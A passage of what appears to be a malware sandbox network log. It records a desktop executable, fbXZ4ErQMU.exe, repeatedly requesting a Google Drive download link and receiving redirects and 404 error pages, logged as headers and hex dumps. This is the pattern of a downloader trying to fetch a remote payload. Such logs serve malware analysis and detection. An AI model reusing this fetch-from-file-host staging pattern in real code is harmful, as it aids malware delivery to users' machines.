2024-12-05 16:07:29 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:30 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:30 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-1qwE3jGjk0kqjtfF7CUOOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49800	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:30 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:30 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:30 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-j8DlFE1tE1lSIpUz904DLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC6Hli5MpzbTyXPRUc50JhgdOIvYUTYXTvjQPOSyqVyxNTMSJPpa6KQ0sF1R9oOu8gRVAN4 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:07:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 5f 54 69 52 50 37 58 77 69 38 37 2d 73 44 54 45 36 5f 2d 65 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="l_TiRP7Xwi87-sDTE6_-ew">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49801	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:41 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:41 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:41 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-p3l5JGQxn3ohiMiTHjQQqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49802	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:41 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:41 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:41 GMT Content-Security-Policy: script-src 'nonce-NQ1mB4Pom_oMhq1r8loscg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC5tu7iLH0MIabquVAm1oiHiYiUAw8jjJJWA8iLP5LesiPMDsfzydBghOKaqIxrCDRDkGv0 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:07:41 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 64 43 33 72 4c 5a 72 68 6f 67 6d 53 79 6d 52 62 47 75 33 61 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EdC3rLZrhogmSymRbGu3aQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49803	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:52 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:52 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:52 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-KvCtK7n4Cf36-TCc4JMESQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49804	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:07:52 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:07:53 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:07:53 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-oyygR_8YGS3eMcbclErYPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC6BQ1MhfXNBXfjOMJ5-AmjyT-KdBA-yMqsHQvIZLloZoeP6acx7CBlLRs_GCannUzI-3RqF1DL_eg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:07:53 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 55 6e 66 64 50 49 2d 73 5f 69 52 6d 38 30 37 48 48 63 53 6a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IUnfdPI-s_iRm807HHcSjg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49805	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:03 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:03 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:03 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-ufNahMsQZMQUBv9godE0iQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49806	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:08:03 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:08:04 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:08:04 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-MAt3ZcCFW0m5SGrwzXM6ag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC7DRkY3tc8BWnqaPrzNJivplHHwe1Nq0lMHjG0FEHZZKH-BxrcQ8iP61oYnW1ELiPh-U35AZCH5NA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:08:04 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 5f 62 4c 62 6f 33 75 49 6d 6c 35 4b 4d 37 68 37 45 55 34 38 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5_bLbo3uIml5KM7h7EU48g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49807	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
